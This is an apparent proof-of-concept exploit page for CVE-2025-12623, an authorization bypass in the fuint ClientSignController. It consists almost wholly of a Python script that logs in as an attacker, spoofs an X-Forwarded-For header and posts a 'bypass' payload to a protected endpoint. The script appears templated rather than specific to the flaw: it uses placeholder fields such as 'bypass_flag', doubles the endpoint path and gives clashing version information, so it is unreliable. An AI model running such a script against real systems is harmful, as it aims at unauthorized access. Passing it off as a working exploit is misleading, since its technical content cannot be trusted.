CVE-2025-12623: fushengqian fuint认证令牌处理授权绕过漏洞

# CVE-2025-12623 PoC - Authorization Bypass in fuint ClientSignController # Target: fushengqian fuint up to 41e26be8a2c609413a0feaa69bdad33a71ae8032 import requests import json TARGET_URL = "http://target.com/fuint/api/client/sign" TARGET_COMMIT = "41e26be8a2c609413a0feaa69bdad33a71ae8032" def exploit_authorization_bypass(): """ Exploit for CVE-2025-12623: Authorization Bypass via Authentication Token Handler The vulnerability exists in ClientSignController.java where token validation can be bypassed through specially crafted requests. """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'X-Forwarded-For': '127.0.0.1' } # Step 1: Attempt to obtain a valid token through normal authentication auth_payload = { 'username': 'attacker', 'password': 'password123' } try: # Normal authentication attempt response = requests.post( f"{TARGET_URL}/login", json=auth_payload, headers=headers, timeout=10 ) if response.status_code == 200: token = response.json().get('token') print(f"[+] Obtained token: {token}") else: print(f"[-] Authentication failed, status: {response.status_code}") token = None # Step 2: Bypass authorization check with manipulated token bypass_payload = { 'token': token if token else 'manipulated_token', 'action': 'unauthorized_access', 'bypass_flag': True } # Attempt to access protected endpoint with bypass technique bypass_response = requests.post( f"{TARGET_URL}/client/sign", json=bypass_payload, headers=headers, timeout=10 ) if bypass_response.status_code == 200: print(f"[+] Authorization bypass successful!") print(f"[+] Response: {bypass_response.text}") return True else: print(f"[-] Bypass attempt failed, status: {bypass_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": print(f"[*] CVE-2025-12623 Exploit - Target: {TARGET_URL}") print(f"[*] Affected version: fuint < {TARGET_COMMIT}") exploit_authorization_bypass()